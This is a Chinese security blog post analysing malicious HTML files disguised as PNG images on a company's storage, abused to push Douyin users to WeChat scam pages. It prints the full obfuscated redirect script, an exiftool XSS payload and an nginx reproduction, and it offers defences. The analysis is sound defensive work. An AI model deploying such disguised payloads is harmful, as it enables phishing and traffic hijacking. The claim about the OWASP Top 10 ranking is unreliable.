幻形妖术VS火眼金睛:PNG迷雾下的攻防智斗

在《西游记》第27回“尸魔三戏唐三藏 圣僧恨逐美猴王”中,师徒四人行至白虎岭前。在这片神秘之地,住着一个狡猾且危险的尸魔——白骨精。它为了达到吃掉唐僧的目的,先后变幻为村姑、妇人和老夫,试图迷惑众人。而在我们今天的数字时代,类似的“妖怪”也在不断出现。它们利用上传文件的漏洞,将恶意的HTML代码伪装成图片,这些表面看似无害的图像实际上是暗藏玄机的“白骨精”。这种攻击是如何实现的?让我们一起深入探讨。
事情起因
业务运维群有其他部门同事说有人咨询:
用户咨询下面这个链接这个在抖音不被拦截且可以跳转微信的能力,是否可以开放给外部可以使用。
https://*****/b2b63188f2244226961cccdd87d2d81a.png?key=hXvaGm
背景是我们这边有一家客户,发现这个图片地址在抖音不被拦截且能跳转到微信,觉得非常适配自己的业务,希望问下这个能力对不对外,是否能购买这项服务。
浏览器打开会弹出跳转微信的提示,初步怀疑是一个黑产文件。

分析文件
看URL给人的第一印象是一个png的地址,使用wget把黑产文件下载下来,使用binwalk来进行检测可以看到是HTML格式的文件,如下:
binwalk b2b63188f2244226961cccdd87d2d81a.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
110 0x6E HTML document header
13551 0x34EF HTML document footer
可以用cat或者less直接看到png的内容
b2b63188f2244226961cccdd87d2d81a.png 文件内容
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” lang=”en”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ />
<meta http-equiv=”X-UA-Compatible” content=”IE=edge” />
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″ />
<meta name=”description” content=”” />
<title></title>
<style type=”text/css”>
* {
width: 100%;
height: 100%;
margin: 0 auto;
text-align: center;
}
</style>
<img id=”htmlIcon” src=”” alt=”Icon” style=”width: 0px; height: 0px; display: none;” />
</head>
<body>
<iframe
id=”myframe”
src=””
border=”0″
width=”100%”
height=”100%”
scrolling=”auto”
marginheight=”0″
marginwidth=”0″
frameborder=”0″
style=”float: left; margin-left: 0px;”
allowfullscreen=”true”
webkitallowfullscreen=”true”
mozallowfullscreen=”true”
></iframe>
<script type=”text/javascript”>
// <![CDATA[
function _0x30ce(_0x319c23,_0x49a3aa){var _0xe7f793=_0x570d();return _0x30ce=function(_0x5bcaa6,_0x97ae9f){_0x5bcaa6=_0x5bcaa6-(0x1*0x197b+-0xc42+-0x1*0xc01);var _0x3ba78d=_0xe7f793[_0x5bcaa6];return _0x3ba78d;},_0x30ce(_0x319c23,_0x49a3aa);}function _0x570d(){var _0x219551=[‘location’,’link[rel=\x22′,’KLMNOPQRST’,’IMxhN’,’vpoGT’,’eNBMn’,’k.com/uplo’,’520868GoHWRJ’,’search’,’trim’,’zrpAA’,’sByTagName’,’createElem’,’NemHN’,’kukih’,’con\x22]’,’prvLm’,’random’,’YuiEE’,’setAttribu’,’?baseUrl=’,’hgSKM’,’iOFjI’,’UVWXYZabcd’,’tfBgX’,’LoYhN’,’cOiGi’,’htmlTitle’,’abnNf’,’boNEI’,’split’,’1239788LTYPJC’,’openAppWit’,’JGVrN’,’aweme’,’type’,’15zSLuxA’,’fevvY’,’azKBN’,’htmlIcon’,’KWJou’,’KReFi’,’anrve.cn’,’1150136LDvwdC’,’endsWith’,’vQZbj’,’meta’,’jumpUrl’,’ulgAV’,’https://re’,’message’,’UnYFQ’,’shortcut\x20i’,’icon\x22]’,’beXkn’,’myframe’,’oTVHr’,’name’,’tor’,’hUrlScheme’,’htmlDescri’,’yOJGB’,’IglfW’,’.ico’,’|8|12|6|11′,’eEEOL’,’appendChil’,’WCowK’,’wUdJN’,’rocess=sty’,’setItem’,’ent’,’30UTMbuj’,’GDYFn’,’key’,’querySelec’,’descriptio’,’floor’,’\x22descripti’,’head’,’image/x-ic’,’textConten’,’link’,’2|9|3|10|7′,’get’,’POEVY’,’4980405cOboAs’,’charAt’,’OJSyv’,’YcYzv’,’ad_img/’,’content’,’rel’,’BaseUrlDom’,’ById’,’userAgent’,’AUuMT’,’?x-image-p’,’10934xcNFQW’,’ZduvT’,’getElement’,’LRcID’,’src’,’FOzte’,’hwqlE’,’2|4|3|0|1′,’on\x22]’,’HwxCP’,’getItem’,’indexOf’,’KLvzC’,’6709879UlpqOq’,’ABCDEFGHIJ’,’title’,’yyHqT’,’skGQK’,’href’,’6822OBBMcy’,’meta[name=’,’opqrstuvwx’,’mLEUQ’,’origin’,’image/png’,’jXfEK’,’data’,’3204lFGLDJ’,’|0|4|1|14|’,’s.weikelin’,’cDBuR’,’DCUSZ’,’toLowerCas’,’&baseUrl=’,’wkout.cn’,’https://’,’336doceIe’,’ain’,’efghijklmn’,’le/carIcon’,’DmLvI’,’con’,’OgQDq’,’5|13′,’YQkAR’,’pathname’,’localStora’,’length’];_0x570d=function(){return _0x219551;};return _0x570d();}var _0x401b17=_0x30ce;(function(_0x98dea1,_0x12c0fa){var _0x2e89cd=_0x30ce,_0x178975=_0x98dea1();while(!![]){try{var _0x41566f=parseInt(_0x2e89cd(0x1a6))/(-0x1b7a+-0x34*0x7b+0x3477)+-parseInt(_0x2e89cd(0x182))/(-0x29*0x4f+-0x5*-0x683+-0x13e6)*(-parseInt(_0x2e89cd(0x19f))/(0xfef+-0xdf3+0x1f9*-0x1))+parseInt(_0x2e89cd(0x19a))/(-0x6d8+-0x17c9+-0x621*-0x5)+-parseInt(_0x2e89cd(0x13f))/(-0x1f2f+0x3*-0x125+0x22a3)+-parseInt(_0x2e89cd(0x166))/(-0x1022*0x1+-0x1a67+0x2a8f)*(-parseInt(_0x2e89cd(0x14b))/(0x7e8+0x22c8+-0x43*0xa3))+parseInt(_0x2e89cd(0x16f))/(0x605+-0x3*-0x61d+-0x12*0x15a)*(-parseInt(_0x2e89cd(0x15e))/(0x2c*0x8d+-0xa40*-0x2+-0x1*0x2cb3))+-parseInt(_0x2e89cd(0x1c3))/(0x1b*0xc+-0x1*0x1d59+-0x1c1f*-0x1)*(parseInt(_0x2e89cd(0x158))/(-0x1966+0x17f*0xb+0x8fc));if(_0x41566f===_0x12c0fa)break;else _0x178975[‘push’](_0x178975[‘shift’]());}catch(_0x388a2c){_0x178975[‘push’](_0x178975[‘shift’]());}}}(_0x570d,0x123f37+-0x1c*0x89a4+0x81366));var pathname=window[_0x401b17(0x17b)][_0x401b17(0x178)],iframe=document[_0x401b17(0x14d)+_0x401b17(0x147)](_0x401b17(0x1b2)),userag=navigator[_0x401b17(0x148)],searchParams=new URLSearchParams(window[_0x401b17(0x17b)][_0x401b17(0x183)]),key=searchParams[_0x401b17(0x13d)](_0x401b17(0x1c5));key!==null&&(pathname=’/’+key);var baseUrl=getBaseUrlDomain(pathname);function isEmpty(_0x58cf45){var _0x297da0=_0x401b17,_0x25a8a0={‘iOFjI’:function(_0x333a46,_0xd24ba1){return _0x333a46===_0xd24ba1;}};return!_0x58cf45||_0x25a8a0[_0x297da0(0x191)](_0x58cf45[_0x297da0(0x184)]()[_0x297da0(0x17a)],0xbf2+-0x27*0xc3+0x11c3);}iframe&&(iframe[_0x401b17(0x18e)+’te’](_0x401b17(0x148),navigator[_0x401b17(0x148)]),isEmpty(window[_0x401b17(0x17b)][_0x401b17(0x183)])?iframe[_0x401b17(0x14f)]=baseUrl+pathname+_0x401b17(0x18f)+window[_0x401b17(0x17b)][_0x401b17(0x162)]:iframe[_0x401b17(0x14f)]=baseUrl+pathname+window[_0x401b17(0x17b)][_0x401b17(0x183)]+_0x401b17(0x16c)+window[_0x401b17(0x17b)][_0x401b17(0x162)]);function setEventData(_0xbc777c){var _0x22debb=_0x401b17,_0x7eab96={‘NemHN’:_0x22debb(0x152),’mLEUQ’:function(_0x596f9e,_0x1c96d8){return _0x596f9e(_0x1c96d8);},’ZduvT’:function(_0x328dae,_0x28353a){return _0x328dae(_0x28353a);},’POEVY’:function(_0x27d688,_0x71ef50){return _0x27d688===_0x71ef50;},’DmLvI’:function(_0x37156b,_0x21c536){return _0x37156b===_0x21c536;},’hgSKM’:function(_0x52ad99,_0x5a0816){return _0x52ad99(_0x5a0816);},’azKBN’:function(_0x184ea3,_0xba83ba){return _0x184ea3==_0xba83ba;},’IglfW’:_0x22debb(0x19b)+_0x22debb(0x1b6)},_0x2f5215=_0x7eab96[_0x22debb(0x188)][_0x22debb(0x199)](‘|’),_0x1ee466=0xd4e+0x349+-0x1097;while(!![]){switch(_0x2f5215[_0x1ee466++]){case’0′:_0x7eab96[_0x22debb(0x161)](setHtmlDescribe,_0xbc777c[_0x22debb(0x165)][_0x22debb(0x1b7)+’be’]);continue;case’1′:_0x7eab96[_0x22debb(0x14c)](setHtmlIcon,_0xbc777c[_0x22debb(0x165)][_0x22debb(0x1a2)]);continue;case’2′:if(_0x7eab96[_0x22debb(0x13e)](_0xbc777c[_0x22debb(0x165)][_0x22debb(0x19e)],null)||_0x7eab96[_0x22debb(0x173)](_0xbc777c[_0x22debb(0x165)][_0x22debb(0x19e)],undefined))return;continue;case’3′:_0x7eab96[_0x22debb(0x190)](setHtmlTitle,_0xbc777c[_0x22debb(0x165)][_0x22debb(0x196)]);continue;case’4′:if(_0x7eab96[_0x22debb(0x1a1)](_0xbc777c[_0x22debb(0x165)][_0x22debb(0x19e)],_0x7eab96[_0x22debb(0x1b9)])){window[_0x22debb(0x17b)][_0x22debb(0x15d)]=_0xbc777c[_0x22debb(0x165)][_0x22debb(0x1aa)];return;}continue;}break;}}function isDouyin(){var _0x7cd8a=_0x401b17,_0xba3487={‘yOJGB’:function(_0xde0cbb,_0x1ac7bd){return _0xde0cbb>_0x1ac7bd;},’fevvY’:_0x7cd8a(0x19d)},_0x138f0=navigator[_0x7cd8a(0x148)][_0x7cd8a(0x16b)+’e’]();return _0xba3487[_0x7cd8a(0x1b8)](_0x138f0[_0x7cd8a(0x156)](_0xba3487[_0x7cd8a(0x1a0)]),-(-0x1f*0xc7+0x11d+0x16fd))?!![]:![];}var RES_URL_BASE=_0x401b17(0x1ac)+_0x401b17(0x168)+_0x401b17(0x181)+_0x401b17(0x143);function setHtmlIcon(_0x95950f){var _0x48911c=_0x401b17,_0x6f722e={‘GDYFn’:_0x48911c(0x13c)+_0x48911c(0x1bb)+_0x48911c(0x167)+_0x48911c(0x176),’eEEOL’:_0x48911c(0x1ba),’yyHqT’:_0x48911c(0x139)+’on’,’KWJou’:_0x48911c(0x163),’abnNf’:function(_0x266ae8,_0x251568){return _0x266ae8+_0x251568;},’wUdJN’:function(_0x2d5f7d,_0x59bcec){return _0x2d5f7d(_0x59bcec);},’JGVrN’:_0x48911c(0x1af)+_0x48911c(0x174),’jXfEK’:_0x48911c(0x1a2),’AUuMT’:function(_0x42767f,_0x5633fe){return _0x42767f+_0x5633fe;},’boNEI’:_0x48911c(0x17c)+_0x48911c(0x1af)+_0x48911c(0x18a),’prvLm’:function(_0x5a1908,_0x6e2e14){return _0x5a1908+_0x6e2e14;},’KReFi’:_0x48911c(0x14a)+_0x48911c(0x1c0)+_0x48911c(0x172),’HwxCP’:_0x48911c(0x17c)+_0x48911c(0x1b0),’YcYzv’:_0x48911c(0x13b),’oTVHr’:function(_0x2ba395,_0x500fb2){return _0x2ba395+_0x500fb2;},’ulgAV’:function(_0x5c5f44,_0x2b018c){return _0x5c5f44+_0x2b018c;},’WCowK’:_0x48911c(0x138)},_0x5b13d7=_0x6f722e[_0x48911c(0x1c4)][_0x48911c(0x199)](‘|’),_0x3e2c85=-0x23*-0xfe+0x1bbf+-0x3e79;while(!![]){switch(_0x5b13d7[_0x3e2c85++]){case’0′:_0x95950f[_0x48911c(0x1a7)](_0x6f722e[_0x48911c(0x1bc)])?_0x1b97d2[_0x48911c(0x19e)]=_0x6f722e[_0x48911c(0x15b)]:_0x1b97d2[_0x48911c(0x19e)]=_0x6f722e[_0x48911c(0x1a3)];continue;case’1′:_0x1b97d2[_0x48911c(0x15d)]=_0x6f722e[_0x48911c(0x197)](RES_URL_BASE,_0x95950f);continue;case’2′:if(_0x6f722e[_0x48911c(0x1bf)](isEmpty,_0x95950f))return;continue;case’3′:var _0x5e4503=![];continue;case’4′:_0x1b97d2[_0x48911c(0x145)]=_0x6f722e[_0x48911c(0x19c)];continue;case’5′:var _0x1f75a0=document[_0x48911c(0x14d)+_0x48911c(0x147)](_0x6f722e[_0x48911c(0x164)]);continue;case’6′:if(_0x5e4503)return;continue;case’7′:_0x1f303d&&(_0x1f303d[_0x48911c(0x15d)]=_0x6f722e[_0x48911c(0x149)](RES_URL_BASE,_0x95950f),_0x5e4503=!![]);continue;case’8′:var _0x147cd3=document[_0x48911c(0x1c6)+_0x48911c(0x1b5)](_0x6f722e[_0x48911c(0x198)]);continue;case’9′:_0x95950f=_0x6f722e[_0x48911c(0x18b)](_0x95950f,_0x6f722e[_0x48911c(0x1a4)]);continue;case’10’:var _0x1f303d=document[_0x48911c(0x1c6)+_0x48911c(0x1b5)](_0x6f722e[_0x48911c(0x154)]);continue;case’11’:var _0x1b97d2=document[_0x48911c(0x187)+_0x48911c(0x1c2)](_0x6f722e[_0x48911c(0x142)]);continue;case’12’:_0x147cd3&&(_0x147cd3[_0x48911c(0x15d)]=_0x6f722e[_0x48911c(0x1b3)](RES_URL_BASE,_0x95950f),_0x5e4503=!![]);continue;case’13’:_0x1f75a0&&(!_0x6f722e[_0x48911c(0x1bf)](isEmpty,_0x95950f)&&(_0x1f75a0[_0x48911c(0x14f)]=_0x6f722e[_0x48911c(0x1ab)](RES_URL_BASE,_0x95950f)));continue;case’14’:document[_0x48911c(0x14d)+_0x48911c(0x186)](_0x6f722e[_0x48911c(0x1be)])[-0x1ed8+-0xf5d+0x2e35][_0x48911c(0x1bd)+’d’](_0x1b97d2);continue;}break;}}function setHtmlTitle(_0xeb9291){var _0x4f6acd=_0x401b17,_0x500faf={‘cDBuR’:_0x4f6acd(0x15a),’OJSyv’:function(_0x10b08a,_0x562276){return _0x10b08a(_0x562276);}},_0x385ae7=document[_0x4f6acd(0x1c6)+_0x4f6acd(0x1b5)](_0x500faf[_0x4f6acd(0x169)]);if(_0x500faf[_0x4f6acd(0x141)](isEmpty,_0xeb9291))_0x385ae7&&(_0x385ae7[_0x4f6acd(0x13a)+’t’]=’’);else{if(_0x385ae7)_0x385ae7[_0x4f6acd(0x13a)+’t’]=_0xeb9291;else{var _0x457732=document[_0x4f6acd(0x187)+_0x4f6acd(0x1c2)](_0x500faf[_0x4f6acd(0x169)]);_0x457732[_0x4f6acd(0x13a)+’t’]=_0xeb9291,document[_0x4f6acd(0x138)][_0x4f6acd(0x1bd)+’d’](_0x457732);}}}function setHtmlDescribe(_0x292fd4){var _0x5eb1b2=_0x401b17,_0x54ba43={‘tfBgX’:_0x5eb1b2(0x15f)+_0x5eb1b2(0x1c9)+_0x5eb1b2(0x153),’eNBMn’:function(_0x15fe6e,_0x372d35){return _0x15fe6e(_0x372d35);},’cOiGi’:_0x5eb1b2(0x1a9),’FOzte’:_0x5eb1b2(0x1c7)+’n’},_0x41da18=document[_0x5eb1b2(0x1c6)+_0x5eb1b2(0x1b5)](_0x54ba43[_0x5eb1b2(0x193)]);if(_0x54ba43[_0x5eb1b2(0x180)](isEmpty,_0x292fd4))_0x41da18&&(_0x41da18[_0x5eb1b2(0x144)]=’’);else{if(_0x41da18)_0x41da18[_0x5eb1b2(0x144)]=_0x292fd4;else{var _0x80b706=document[_0x5eb1b2(0x187)+_0x5eb1b2(0x1c2)](_0x54ba43[_0x5eb1b2(0x195)]);_0x80b706[_0x5eb1b2(0x1b4)]=_0x54ba43[_0x5eb1b2(0x150)],_0x80b706[_0x5eb1b2(0x144)]=_0x292fd4,document[_0x5eb1b2(0x138)][_0x5eb1b2(0x1bd)+’d’](_0x80b706);}}}function getBaseUrlDomain(_0x4686c8){var _0x51f28b=_0x401b17,_0x132d56={‘hwqlE’:_0x51f28b(0x1a5),’skGQK’:function(_0x515886,_0x2d203c){return _0x515886===_0x2d203c;},’DCUSZ’:function(_0x62462c,_0x6b04eb){return _0x62462c===_0x6b04eb;},’beXkn’:function(_0x4edd6e,_0x10567f){return _0x4edd6e===_0x10567f;},’YuiEE’:function(_0x167f4f,_0x510aa8){return _0x167f4f===_0x510aa8;},’YQkAR’:_0x51f28b(0x16d),’OgQDq’:_0x51f28b(0x146)+_0x51f28b(0x170),’vQZbj’:function(_0x443b9b,_0x4efe40){return _0x443b9b(_0x4efe40);},’LoYhN’:function(_0x35e59f,_0x800b1b){return _0x35e59f+_0x800b1b;},’vpoGT’:_0x51f28b(0x16e),’zrpAA’:_0x51f28b(0x159)+_0x51f28b(0x17d)+_0x51f28b(0x192)+_0x51f28b(0x171)+_0x51f28b(0x160)+’yz’,’UnYFQ’:function(_0x52ee4b,_0x3ceccc){return _0x52ee4b<_0x3ceccc;},’IMxhN’:function(_0x11ccd0,_0x3a3259){return _0x11ccd0*_0x3a3259;},’kukih’:function(_0x4f51d4,_0x14721e){return _0x4f51d4+_0x14721e;},’KLvzC’:function(_0x188772,_0x1e3e81){return _0x188772+_0x1e3e81;},’LRcID’:function(_0xc71fda,_0x28aeab){return _0xc71fda+_0x28aeab;}},_0x2006c0=_0x132d56[_0x51f28b(0x151)],_0x19a085=_0x4686c8[_0x51f28b(0x140)](-0x70a*-0x5+-0x415+-0x1f1c)[_0x51f28b(0x16b)+’e’]();(_0x132d56[_0x51f28b(0x15c)](_0x19a085,’q’)||_0x132d56[_0x51f28b(0x16a)](_0x19a085,’h’)||_0x132d56[_0x51f28b(0x1b1)](_0x19a085,’a’)||_0x132d56[_0x51f28b(0x18d)](_0x19a085,’b’))&&(_0x2006c0=_0x132d56[_0x51f28b(0x177)]);let _0xbcd360=window[_0x51f28b(0x179)+’ge’][_0x51f28b(0x155)](_0x132d56[_0x51f28b(0x175)]);if(!_0x132d56[_0x51f28b(0x1a8)](isEmpty,_0xbcd360))return _0x132d56[_0x51f28b(0x194)](_0x132d56[_0x51f28b(0x194)](_0x132d56[_0x51f28b(0x194)](_0x132d56[_0x51f28b(0x17f)],_0xbcd360),’.’),_0x2006c0);const _0x4f683c=_0x132d56[_0x51f28b(0x185)];let _0x280c48=”,_0x19826d=”;for(let _0x1edafb=-0x1*-0x8fa+-0x678+0xd6*-0x3;_0x132d56[_0x51f28b(0x1ae)](_0x1edafb,0x33a*-0x1+-0x16b1*0x1+-0x1*-0x19ed);_0x1edafb++){_0x280c48+=_0x4f683c[_0x51f28b(0x140)](Math[_0x51f28b(0x1c8)](_0x132d56[_0x51f28b(0x17e)](Math[_0x51f28b(0x18c)](),_0x4f683c[_0x51f28b(0x17a)])));}for(let _0x593314=0x2*0x107e+0x22*-0xd+-0x2*0xfa1;_0x132d56[_0x51f28b(0x1ae)](_0x593314,0x35f+-0xab7+0xd*0x91);_0x593314++){_0x19826d+=_0x4f683c[_0x51f28b(0x140)](Math[_0x51f28b(0x1c8)](_0x132d56[_0x51f28b(0x17e)](Math[_0x51f28b(0x18c)](),_0x4f683c[_0x51f28b(0x17a)])));}return window[_0x51f28b(0x179)+’ge’][_0x51f28b(0x1c1)](_0x132d56[_0x51f28b(0x175)],_0x280c48),_0x132d56[_0x51f28b(0x194)](_0x132d56[_0x51f28b(0x189)](_0x132d56[_0x51f28b(0x157)](_0x132d56[_0x51f28b(0x189)](_0x132d56[_0x51f28b(0x14e)](_0x132d56[_0x51f28b(0x17f)],_0x280c48),’-‘),_0x19826d),’.’),_0x2006c0);}addEventListener(_0x401b17(0x1ad),setEventData,![]);
// ]]>
</script>
</body>
</html>
代码js部分被混淆了,使用deepseek进行分析,代码的核心目的是动态生成恶意域名并通过 <iframe>
加载相关内容,同时伪装成合法网站以欺骗用户。其行为具有隐蔽性和持久性,可能用于多种网络攻击(如钓鱼、会话劫持或广告注入)。
从文件内容、访问链接、攻击方式三方面判定这属于典型的 MIME类型混淆攻击 + XSS攻击,并结合了诱导性钓鱼攻击的混合型攻击场景,大致攻击流程如下图所示:

下面让我们一起深入探讨这些攻击是什么,以及如何实现的。
攻击类型
MIME类型混淆攻击(也称为Content-Type嗅探攻击)。这种类型的攻击发生在服务器错误地将一个非HTML文件(例如图片)的Content-Type
设置为text/html
,导致浏览器将其解析为HTML文档。在这种情况下,用户请求的是一个.png
文件,但实际返回的内容是HTML,并且这个HTML页面包含动态加载和执行脚本的行为。
XSS攻击,全称“跨站脚本攻击”(Cross-Site Scripting),是一种常见的Web应用安全漏洞。它通过利用网页开发中的漏洞,将恶意指令代码注入到网页中。当用户加载并执行这些被篡改的网页时,恶意代码就会被执行。
根据攻击方式的不同,XSS可以分为以下三种主要类型:
- 反射型(非持久型)
- 攻击代码通过URL参数传递,嵌入到服务器返回的响应中。
- 示例场景:用户点击一个带有恶意链接的邮件,攻击代码立即在用户浏览器中执行。
- 特点:攻击代码不会保存在服务器上,只在特定请求中生效。
- 存储型(持久型)
- 攻击代码被永久存储在服务器数据库中,每次用户访问相关页面时都会触发。
- 示例场景:攻击者在论坛留言中插入恶意代码,所有访问该留言的用户都会受到影响。
- 特点:影响范围广,危害时间长。
- DOM型
- 攻击代码通过客户端脚本修改本地DOM环境实现。
- 示例场景:用户访问一个恶意网站,页面上的脚本动态生成了一段恶意代码并执行。
- 特点:整个过程不涉及服务器响应,完全由客户端脚本完成。
XSS攻击危害:
- Cookie 窃取:通过
document.cookie
获取用户会话。 - 钓鱼攻击:伪造登录页面诱导用户输入凭据。
- 浏览器漏洞利用:结合 0day 漏洞进行更深度攻击。
- 传播恶意软件:通过 JS 下载恶意文件。
诱导性钓鱼攻击,攻击者通过社交工程手段(如伪装成图片链接、短链)诱导用户点击URL,用户误以为是普通图片,实际加载的HTML页面可能包含伪造登录表单、恶意重定向等钓鱼内容。
原理分析
使用curl -v 方式访问这个png,返回的content-type: application/xhtml+xml;charset=UTF-8和正常的png(content-type: image/png;charset=UTF-8)不一样,如下所示:

浏览器主要依赖 HTTP 响应头中的 Content-Type
来决定如何处理文件内容,即使文件扩展名为 .png
,但如果服务器返回的 Content-Type
是 application/xhtml+xml
或其他可解析为 HTML 的 MIME 类型(如 text/html
),浏览器会优先根据 Content-Type
来解析文件,而不是依赖文件扩展名。
这次的黑产正是利用了浏览器对 MIME 类型的解析机制和内容嗅探功能,绕过了文件扩展名的限制,从而实现恶意代码的执行。
浏览器遵循RFC 7231规范的内容协商机制,处理优先级为:
- 最高优先级:浏览器首先会检查服务器返回的
Content-Type
响应头,这是 MIME 类型检测的最高优先级。 - 次高优先级:如果 HTML 文件中包含
<meta>
标签指定的 MIME 类型(如charset
或type
),这会在本地解析时生效,但其优先级低于服务器的Content-Type
响应头。 - 中等优先级:如果服务器未提供明确的
Content-Type
,浏览器可能会根据文件扩展名(如.html
,.css
,.js
等)推测 MIME 类型。 - 较低优先级:在某些情况下,如果服务器未提供明确的
Content-Type
,且扩展名不可用或不明确,浏览器会尝试通过文件内容来“嗅探” MIME 类型。 - 最低优先级:浏览器的默认 MIME 类型。
因此,即使文件扩展名为 .png
,若服务器未正确设置 Content-Type
,且文件内容以 <html>
开头,浏览器也会忽略扩展名,直接按 HTML 解析。
复现漏洞
因为我们的公共存储允许用户上传文件的时候设定Content-Type
类型,黑产这边指定了text/html
,返回给用户浏览器的Content-Type就变成了text/html
,导致浏览器直接解析运行了。
我们可以复现一下,找一个图片faker.png,使用exiftool将弹窗代码插入 PNG 文件的注释字段,如下所示:
exiftool -Comment='<script>alert("XSS")</script>' faker.png
在Nginx配置里面添加Content-Type,访问图片的时候就触发了xss弹窗行为。
location = /faker.png{
add_header Content-Type text/html;
root html;
}

如果Content-Type
设置正确,访问png图片不会触发xss,见下图:

黑产文件类型
选取最近两天的域名访问日志进行去重排序,黑产文件大致上分为三类:
1、内容混淆型
内容js部分经过混淆还添加防调试逻辑,无法看到具体的执行逻辑。

在沙盒环境里面使用构造的URL进行访问,是同一家恶意黑产的微信链接,具体如下所示:
42b58a57e3ea486fb4210678c15f763f.jpeg?key=cODxzo&bdx_monitor_append_params=%7B%22enter_from%22%3A%22im_share_web%22%7D&from_im=true&disable_auto_expose=1&enable_webview_select_search=1&need_out_animation=right&font_scale=1.0

/3685eac841ed4c17a4f8b5a4734f3672.png?key=cntRUO&bdx_monitor_append_params=%7B%22enter_from%22%3A%22im_share_web%22%7D&from_im=true&disable_auto_expose=1&enable_webview_select_search=1&need_out_animation=right&font_scale=1.0

2、内容明文型
文件内容不加密,直接呈现,可以看到访问的黑产地址是www.okvx.skin

31e0186f27724749a1ede88f1831ebc1.png?jwid=617473&bdx_monitor_append_params=%7B%22enter_from%22%3A%22im_share_web%22%7D&from_im=true&disable_auto_expose=1&enable_webview_select_search=1&need_out_animation=right&font_scale=1.0&is_init_login=1&contact_permission=1&push_permission=1&bounce_disable=1&is_tab=0&launch_method=enter_launch

有请求php页面的

dec094c322a9413ebd2b45921a5b39d9.jpeg?tkey=6776a13f76&bdx_monitor_append_params=%7B%22enter_from%22%3A%22im_share_web%22%7D&from_im=true&disable_auto_expose=1&enable_webview_select_search=1&need_out_animation=right&font_scale=1.15

3、xml型
在样本分析中发现特征字符串 tMall21c886e003d34.min.js,估计和之前另外的那个xml攻击是同一家黑产。


如何防范
目前我们先做了紧急的止损处理,涉及工作相关具体就不细讲了。

如何「降妖除魔」?火眼金睛,方能识破伪装!
[✔] 服务器强制设置正确的 Content-Type(如Nginx配置MIME类型)。
[✔] 添加HTTP头 X-Content-Type-Options: nosniff,禁止浏览器内容嗅探。
[✔] 文件上传时校验内容签名(如检查PNG文件头 ‰PNG),防止伪装文件上传。
[✔] 使用 CSP 限制外部资源加载
结合之前处理黑产图床的经验,上传文件校验内容可以参考下面的Python脚本
# -*- coding: utf-8 -*-
import sys
import os
def check_file_ending(file_path):
"""
检查文件开头/结尾是否符合常见图片格式的十六进制特征
"""
# 定义格式的特征及其所需字节数(统一使用 "signature" 键)
format_signatures = {
"JPEG": {"signature": b"\xff\xd9", "required_bytes": 2, "is_start": False},
"PNG": {"signature": b"\x49\x45\x4E\x44\xAE\x42\x60\x82", "required_bytes": 8, "is_start": False},
"GIF": {"signature": b"\x00\x00\x00\x3B", "required_bytes": 4, "is_start": False},
"BMP": {"signature": b"\x42\x4D", "required_bytes": 2, "is_start": True},
"WEBP": {"signature": b"RIFF", "required_bytes": 4, "is_start": True},
"TIFF": {"signature": b"MM\x00*", "required_bytes": 4, "is_start": True}, # Big-endian TIFF
"TIFF_LITTLE_ENDIAN": {"signature": b"II*\x00", "required_bytes": 4, "is_start": True}, # Little-endian TIFF
"ICO": {"signature": b"\x00\x00\x01\x00", "required_bytes": 4, "is_start": True},
"PSD": {"signature": b"8BPS", "required_bytes": 4, "is_start": True},
"SVG": {"signature": b"<?xml", "required_bytes": 5, "is_start": True}, # 检查 XML 开头
"HEIC": {"signature": b"ftypheid", "required_bytes": 8, "is_start": True}, # HEIC 格式(部分变体)
}
try:
# 检查文件是否存在
if not os.path.exists(file_path):
return "文件不存在"
# 获取文件大小
file_size = os.path.getsize(file_path)
if file_size < 2:
return "文件过小,无法检测"
with open(file_path, "rb") as f:
# 计算需要读取的结尾字节数(非开头检测的格式)
max_end_bytes = max(
[sig["required_bytes"] for sig in format_signatures.values() if not sig["is_start"]],
default=0
)
bytes_to_read_end = min(max_end_bytes, file_size)
# 读取结尾字节
if bytes_to_read_end > 0:
f.seek(-bytes_to_read_end, 2)
last_bytes = f.read()
else:
last_bytes = b""
# 计算需要读取的开头字节数(开头检测的格式)
max_start_bytes = max(
[sig["required_bytes"] for sig in format_signatures.values() if sig["is_start"]],
default=0
)
if max_start_bytes > 0:
f.seek(0)
first_bytes = f.read(max_start_bytes)
else:
first_bytes = b""
except Exception as e:
return f"读取文件失败: {str(e)}"
# 检查每个格式的特征
for fmt, sig in format_signatures.items():
required = sig["required_bytes"]
signature = sig["signature"] # 统一使用 "signature" 键
# 检查是否需要检查开头
if sig["is_start"]:
# 确保开头字节足够且匹配
if len(first_bytes) >= required and first_bytes[:required] == signature:
return fmt
continue
# 其他格式检查结尾
if len(last_bytes) >= required:
candidate = last_bytes[-required:]
if candidate == signature:
return fmt
return "未知格式"
# 主程序:读取命令行参数
if __name__ == "__main__":
#if len(sys.argv) != 2:
# print("使用方式:python script.py [文件路径]")
# sys.exit(1)
#file_path = sys.argv[1]
file_path = "b2b63188f2244226961cccdd87d2d81a.png"
result = check_file_ending(file_path)
print(f"文件 {file_path} 的格式检测结果: {result}")

写在最后
根据 Verizon 的《2024 年数据泄露调查报告》,超过 30% 的 XSS 攻击利用了文件类型伪装漏洞。而在 OWASP Top 10 中,不安全的文件上传功能位列第 5 大安全风险。
针对伪装文件攻击,除了检查上传测是否存在上传漏洞之外还可以引入基于机器学习的文件行为分析系统。通过对上传文件的行为模式进行建模,可以有效识别潜在的恶意文件,即使其伪装得再逼真也无法逃脱检测。随着 AI 技术的发展,未来的攻击者可能会利用深度伪造技术生成更复杂的伪装文件。例如,通过生成对抗网络(GAN)创建看似完全合法的图片文件,但实际上隐藏了恶意代码。因此,我们需要提前布局,开发更先进的检测算法。
“真正的安全,不仅在于修补已知漏洞,更在于预见未知威胁。”